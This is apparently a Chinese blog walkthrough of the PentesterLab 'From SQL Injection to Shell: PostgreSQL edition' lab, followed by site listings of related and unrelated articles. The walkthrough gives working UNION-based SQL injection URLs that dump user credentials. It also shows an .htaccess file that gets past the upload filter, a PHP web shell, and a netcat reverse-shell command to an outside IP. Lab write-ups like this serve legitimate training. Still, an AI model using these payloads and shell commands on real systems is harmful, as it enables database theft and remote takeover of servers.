一、打开页面,随便点了几下,返现和From SQL Injection to Shell差不多,直奔主题开始注入

  由于PostgreSQL与MySQL不同,几个关注点需要注意下

二、order by下看看有几个字段

/cat.php?id=%20order%20by%

#order by 4正常,5出现报错,说明有4个字段

三、查看注入点在什么位置,这里与MySQL不同的是,不能再用select 1,2,3……的方式去探测,要改用null,因为PostgreSQL对类型限制很严格

http://192.168.109.131/cat.php?id=1%20union%20select%20null,version(),null,null

发现只有第二个字段可以出来东西,注入点在第二个字段

四、查看当前库名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,datname,null,null%20from%20pg_database%20limit%201%20offset%205

五、查看表名

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,relname,null,null%20from+pg_stat_user_tables+limit+1+offset+0

六、查看各个字段,遍历offset

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,column_name,null,null%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%201%20offset%202

得出有login和password

七、直接通过拼接字符串,读取数据

http://192.168.109.131/cat.php?id=1%20UNION%20SELECT%20null,login||chr(124)||password,null,null%20from%20users

八、MD5解密后,为admin|P4ssw0rd,直接登录后台进行上传

九、上传时发现,改后缀名为php3,Content-Type,加入图片文件头都无法成功上传,查询教程后得知,可以通过.htaccess来进行绕过

十、先编写一个.htaccess文件,内容为一下内容,进行上传

AddType application/x-httpd-php .blah

这个文件的意思是告诉apache,把.blah后缀的文件按照php进行解析

十一、在上传shell,不过这次shell不是.php后缀名,而是.blah

<?php
system($_GET['cmd'])
?>

十二、查看源代码,得知上传位置,直接访问上传的webshell,进行shell反弹

http://192.168.109.131/admin/uploads/function.blah?cmd=nc%2030.117.75.238%209999%20-e%20/bin/bash

PentesterLab-From SQL Injection to Shell: PostgreSQL edition的更多相关文章

  1. [SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION

    FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION 这里先介绍一下POSTGRESQL.这是一款数据库管理系统,与oracle是同类型软件.08年左右的市场 ...

  2. [SQL注入1]From SQL injection to Shell

    第一次写,希望大神们多指点. 对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习.网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTE ...

  3. PentesterLab-From SQL Injection to Shell

    一.打开靶机ip出现如下界面: 随便点一下,点到test链接,访问了如下url:http://192.168.109.131/cat.php?id=1,这里出现了一个id,常规思路这个位置可能有sql ...

  4. Exploiting second-order SQL injection 利用二阶注入获取数据库版本信息 SQL Injection Attacks and Defense Second Edition

    w SQL Injection Attacks and Defense  Second Edition Exploiting second-order SQL injection Virtually ...

  5. SQL injection

    SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...

  6. SQL注入——SQL Injection

    本文部分内容转自:https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html http://www.diybl.com/course/7_ ...

  7. 防sql注入之参数绑定 SQL Injection Attacks and Defense

    http://php.net/manual/zh/pdo.prepared-statements.php 预处理语句与存储过程 很多更成熟的数据库都支持预处理语句的概念.什么是预处理语句?可以把它看作 ...

  8. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

  9. 防sql注入之参数绑定 SQL Injection Attacks and Defense 预处理语句与存储过程

    http://php.net/manual/zh/pdo.prepared-statements.php 预处理语句与存储过程 很多更成熟的数据库都支持预处理语句的概念.什么是预处理语句?可以把它看作 ...

随机推荐

  1. Django学习笔记之Cookie、Session和自定义分页

    cookie Cookie的由来 大家都知道HTTP协议是无状态的. 无状态的意思是每次请求都是独立的,它的执行情况和结果与前面的请求和之后的请求都无直接关系,它不会受前面的请求响应情况直接影响,也不 ...

  2. 如何用纯 CSS 创作一个单元素抛盒子的 loader

    效果预览 在线演示 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/qKwXbx 可交互视频 ...

  3. 机器学习:让我们彻底搞懂CNN【转】

    本文转载自:http://115.com/182920/T1266078.html 机器学习:让我们彻底搞懂CNN 上世纪科学家们发现了几个视觉神经特点,视神经具有局部感受眼,一整张图的识别由多个局部 ...

  4. 第七篇:Spark SQL 源码分析之Physical Plan 到 RDD的具体实现

    /** Spark SQL源码分析系列文章*/ 接上一篇文章Spark SQL Catalyst源码分析之Physical Plan,本文将介绍Physical Plan的toRDD的具体实现细节: ...

  5. java.lang.IllegalArgumentException的解决方法

    java.lang.IllegalArgumentException这个错误基本上就是jdk版本的问题 把jdk1.8换成jdk1.7就可以了 这里可以设置jdk最低版本 这里默认要选择jdk1.7 ...

  6. 【转】Python 字符串大小写转换

    转载自:python 中字符串大小写转换 一.pyhton字符串的大小写转换, 常用的有以下几种方法: 1.对字符串中所有字符(仅对字母有效)的大小写转换,有两个方法: print 'just to ...

  7. window 中安装 redis的遇到的一此bug

    一.下载 链接:https://github.com/MicrosoftArchive/redis/releases   说明: 如果是是下载msi版本的话会默认帮我们配置好测试 环境,如果是下载zi ...

  8. pycharm社区版创建django项目(Windows 8.1)

    django是Python的一个开源web框架,在pycharm开发环境中,pycharm专业版在新建一个项目的时候有django选项,帮助创建一个django框架的项目.pycharm社区版需要自己 ...

  9. Spring 集成rabbiatmq

    pom 文件 <dependencies> <dependency> <groupId>com.rabbitmq</groupId> <artif ...

  10. Iterator 和 for...of 循环

    Iterator(遍历器)的概念 § ⇧ JavaScript 原有的表示“集合”的数据结构,主要是数组(Array)和对象(Object),ES6 又添加了Map和Set.这样就有了四种数据集合,用 ...